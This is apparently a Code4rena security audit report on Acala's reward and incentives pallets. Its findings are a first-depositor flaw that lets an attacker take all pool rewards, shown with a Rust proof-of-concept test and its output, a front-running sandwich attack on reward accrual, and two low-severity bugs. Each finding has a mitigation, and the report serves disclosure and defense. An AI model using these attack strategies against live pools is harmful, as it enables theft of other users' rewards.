Acala - zhaojie's results

Lines of code

https://github.com/code-423n4/2024-03-acala/blob/9c71c05cf2d9f0a2603984c50f76fc8a315d4d65/src/orml/rewards/src/lib.rs#L159

Vulnerability details

Impact

The first user of pool gets all of the pool rewards

Proof of Concept

In the reward module, when a user adds add share, the current reward_inflation of the user will be recorded according to the previous total_reward and total_share in the pool.

	pub fn add_share(who: &T::AccountId, pool: &T::PoolId, add_amount: T::Share) {
		if add_amount.is_zero() {
			return;
		}

		PoolInfos::<T>::mutate(pool, |pool_info| {
			let initial_total_shares = pool_info.total_shares;
			pool_info.total_shares = pool_info.total_shares.saturating_add(add_amount);

			let mut withdrawn_inflation = Vec::<(T::CurrencyId, T::Balance)>::new();

			pool_info
				.rewards
				.iter_mut()
				.for_each(|(reward_currency, (total_reward, total_withdrawn_reward))| {
					let reward_inflation = if initial_total_shares.is_zero() {
						Zero::zero()
					} else {
						//@audit reward_inflation = add_amount * total_reward / initial_total_shares(total_shares)
						U256::from(add_amount.to_owned().saturated_into::<u128>())
							.saturating_mul(total_reward.to_owned().saturated_into::<u128>().into())
							.checked_div(initial_total_shares.to_owned().saturated_into::<u128>().into())
							.unwrap_or_default()
							.as_u128()
							.saturated_into()
					};
					*total_reward = total_reward.saturating_add(reward_inflation);
					*total_withdrawn_reward = total_withdrawn_reward.saturating_add(reward_inflation);

					withdrawn_inflation.push((*reward_currency, reward_inflation));
				});

			SharesAndWithdrawnRewards::<T>::mutate(pool, who, |(share, withdrawn_rewards)| {
				*share = share.saturating_add(add_amount);
				// update withdrawn inflation for each reward currency
				withdrawn_inflation
					.into_iter()
					.for_each(|(reward_currency, reward_inflation)| {
						withdrawn_rewards
							.entry(reward_currency)
							.and_modify(|withdrawn_reward| {
                                //@audit Record the user's withdrawn_reward
								*withdrawn_reward = withdrawn_reward.saturating_add(reward_inflation);
							})
							.or_insert(reward_inflation);
					});
			});
		});

If total_reward or total_share is 0, the user's reward_inflation is 0:

	pub fn add_share(who: &T::AccountId, pool: &T::PoolId, add_amount: T::Share) {
        ......
        let reward_inflation = if initial_total_shares.is_zero() {
            Zero::zero()
        }
        ......
    }

When calculating the user's rewards, the share is calculated based on the user's share amount and then subtracted from reward_inflation:

	fn reward_to_withdraw(
		share: T::Share,
		total_reward: T::Balance,
		total_shares: U256,
		withdrawn_reward: T::Balance,
		total_withdrawn_reward: T::Balance,
	) -> T::Balance {
		// (share * total_reward / total_shares) -  withdrawn_reward
		let total_reward_proportion: T::Balance = U256::from(share.saturated_into::<u128>())
			.saturating_mul(U256::from(total_reward.saturated_into::<u128>()))
			.checked_div(total_shares)
			.unwrap_or_default()
			.as_u128()
			.unique_saturated_into();
		total_reward_proportion
			.saturating_sub(withdrawn_reward)
			.min(total_reward.saturating_sub(total_withdrawn_reward))
	}

Therefore, if the user's reward_inflation is 0, then the user can get more rewards.

The attacker can deposit a large number of tokens when the pool initialization,reward_inflation is 0, Then add a large amount of rewards to the pool, so that other users' reward_inflation becomes a larger value. In this way, when the normal amount of rewards is increased in the pool, the rewards cannot be obtained due to the excessive reward_inflation value of other users. The attacker can get all the rewards in the pool.

Test code:

fn deposit_and_calim() {
	ExtBuilder::default().build().execute_with(|| {
		assert_ok!(TokensModule::deposit(BTC_AUSD_LP, &ALICE::get(), 10000 * 10));
		assert_ok!(TokensModule::deposit(BTC_AUSD_LP, &BOB::get(), 10000 ));

        assert_ok!(IncentivesModule::deposit_dex_share(
			RuntimeOrigin::signed(ALICE::get()),
			BTC_AUSD_LP,
			10000 * 10
		));

		assert_ok!(RewardsModule::accumulate_reward(&PoolId::Dex(BTC_AUSD_LP), BTC_AUSD_LP, 1000));

		assert_ok!(IncentivesModule::deposit_dex_share(
			RuntimeOrigin::signed(BOB::get()),
			BTC_AUSD_LP,
			10000 
		));

		assert_ok!(RewardsModule::accumulate_reward(&PoolId::Dex(BTC_AUSD_LP), BTC_AUSD_LP, 10));

		assert_ok!(IncentivesModule::claim_rewards(
			RuntimeOrigin::signed(ALICE::get()),
			PoolId::Dex(BTC_AUSD_LP)
		));

		assert_ok!(IncentivesModule::claim_rewards(
			RuntimeOrigin::signed(BOB::get()),
			PoolId::Dex(BTC_AUSD_LP)
		));

	});
}

Put the test code in the modules/incentives/tests.rs file

Modify the code to print the values for withdrawn_reward and payout

	fn reward_to_withdraw(
		share: T::Share,
		total_reward: T::Balance,
		total_shares: U256,
		withdrawn_reward: T::Balance,
		total_withdrawn_reward: T::Balance,
	) -> T::Balance {
		// (share * total_reward / total_shares) -  withdrawn_reward
		let total_reward_proportion: T::Balance = U256::from(share.saturated_into::<u128>())
			.saturating_mul(U256::from(total_reward.saturated_into::<u128>()))
			.checked_div(total_shares)
			.unwrap_or_default()
			.as_u128()
			.unique_saturated_into();
+       println!("withdrawn_reward:{}",withdrawn_reward.saturated_into::<u128>());
		total_reward_proportion
			.saturating_sub(withdrawn_reward)
			.min(total_reward.saturating_sub(total_withdrawn_reward))
	}

	fn payout_reward_and_reaccumulate_reward(
		pool_id: PoolId,
		who: &T::AccountId,
		reward_currency_id: CurrencyId,
		payout_amount: Balance,
		reaccumulate_amount: Balance,
	) -> DispatchResult {
		if !reaccumulate_amount.is_zero() {
			<orml_rewards::Pallet<T>>::accumulate_reward(&pool_id, reward_currency_id, reaccumulate_amount)?;
		}
+		println!("payout_amount: {}",payout_amount);
		T::Currency::transfer(reward_currency_id, &Self::account_id(), who, payout_amount)?;
		Ok(())
	}

Run the test to see the console input as follows:

cargo test tests::deposit_and_calim -- --nocapture

running 1 test
claim_rewards 5C62Ck4UrFPiBtoCmeSrgF7x9yv9mn38446dhCpsi2mLHiFT
withdrawn_reward:0
payout_amount: 1009
claim_rewards 5C7LYpP2ZH3tpKbvVvwiVe54AapxErdPBbvkYhe6y9ZBkqWt
withdrawn_reward:100
test tests::deposit_and_calim ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 14 filtered out; finished in 0.00s

We can see that BOB, although the pool has increased rewards after deposit, BOB gets 0 rewards (no payout_amount is printed). ALICE's withdrawn_reward is 0 BOB's withdrawn_reward is 100

Tools Used

vscode, manual

Recommended Mitigation Steps

Initialize the pool and add rewards to the pool so that withdrawn_rewards for the first user is not equal to 0.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-acala/blob/9c71c05cf2d9f0a2603984c50f76fc8a315d4d65/src/orml/rewards/src/lib.rs#L391

Vulnerability details

Impact

The attacker obtains pool rewards through the Sandwich attack

Proof of Concept

Incentives module users can deposit_dex_share and withdraw_dex_share at any time,

earning module users can bond and unbond at any time. Although the token is still locked when unbonded, it will immediately remove_share. claim_rewards is called when remove_share.

The reward module calculates rewards based on user_share * total_reward / total_shares :

	fn reward_to_withdraw(
		share: T::Share,
		total_reward: T::Balance,
		total_shares: U256,
		withdrawn_reward: T::Balance,
		total_withdrawn_reward: T::Balance,
	) -> T::Balance {
		// (share * total_reward / total_shares) -  withdrawn_reward
		let total_reward_proportion: T::Balance = U256::from(share.saturated_into::<u128>())
			.saturating_mul(U256::from(total_reward.saturated_into::<u128>()))
			.checked_div(total_shares)
			.unwrap_or_default()
			.as_u128()
			.unique_saturated_into();
		total_reward_proportion
			.saturating_sub(withdrawn_reward)
			.min(total_reward.saturating_sub(total_withdrawn_reward))
	}

A malicious user can temporarily increase the share in the pool when total_reward increases, so that the user can get rewards, and then remove_share after claiming rewards. An attacker can monitor on-chain transactions and find that when total_reward in the pool increases, he can increase his share by front-running. After the target transaction is executed, the attacker remove_share, the attacker does not have any loses, and does not contribute anything to the pool, but gets rewards.

Tools Used

vscode, manual

Recommended Mitigation Steps

Add a time lock, or add more time to calculate rewards

Assessed type

MEV

[L1] In deposit_dex_share, the incorrect lp_currency_id is passed, resulting in a silent failure

The do_deposit_dex_share function only checks lp_currency_id is_dex_share_currency_id

If the lp_currency_id does not exist in the pool,ths <orml_rewards::Pallet<T>>::add_share function does nothing, however, the user's token has been sent to the contract, which will cause the loss of the user's funds.

	fn do_deposit_dex_share(who: &T::AccountId, lp_currency_id: CurrencyId, amount: Balance) -> DispatchResult {
		ensure!(lp_currency_id.is_dex_share_currency_id(), Error::<T>::InvalidCurrencyId);

@>		T::Currency::transfer(lp_currency_id, who, &Self::account_id(), amount)?;
@>		<orml_rewards::Pallet<T>>::add_share(who, &PoolId::Dex(lp_currency_id), amount.unique_saturated_into());

		Self::deposit_event(Event::DepositDexShare {
			who: who.clone(),
			dex_share_type: lp_currency_id,
			deposit: amount,
		});
		Ok(())
	}

    pub fn add_share(who: &T::AccountId, pool: &T::PoolId, add_amount: T::Share) {
		if add_amount.is_zero() {
			return;
		}

		PoolInfos::<T>::mutate(pool, |pool_info| {
			.....
            //If the PoolId does not exist in the pool, nothing to do.
		});
	}

[l2] Duplicate reward_currencies will cause get_pending_rewards to return incorrect reward_balances.

	fn get_pending_rewards(pool_id: PoolId, who: T::AccountId, reward_currencies: Vec<CurrencyId>) -> Vec<Balance> {
		let rewards_map = PendingMultiRewards::<T>::get(pool_id, who);
		let mut reward_balances = Vec::new();
		for reward_currency in reward_currencies {
			let reward_amount = rewards_map.get(&reward_currency).copied().unwrap_or_default();
			reward_balances.push(reward_amount);
		}
		reward_balances
	}

get_pending_rewards does not remove duplicates for the passed array reward_currencies, If, this parameter can be entered by the user , a malicious user enters a duplicate CurrencyId, the get_pending_rewards function returns duplicate reward_balances.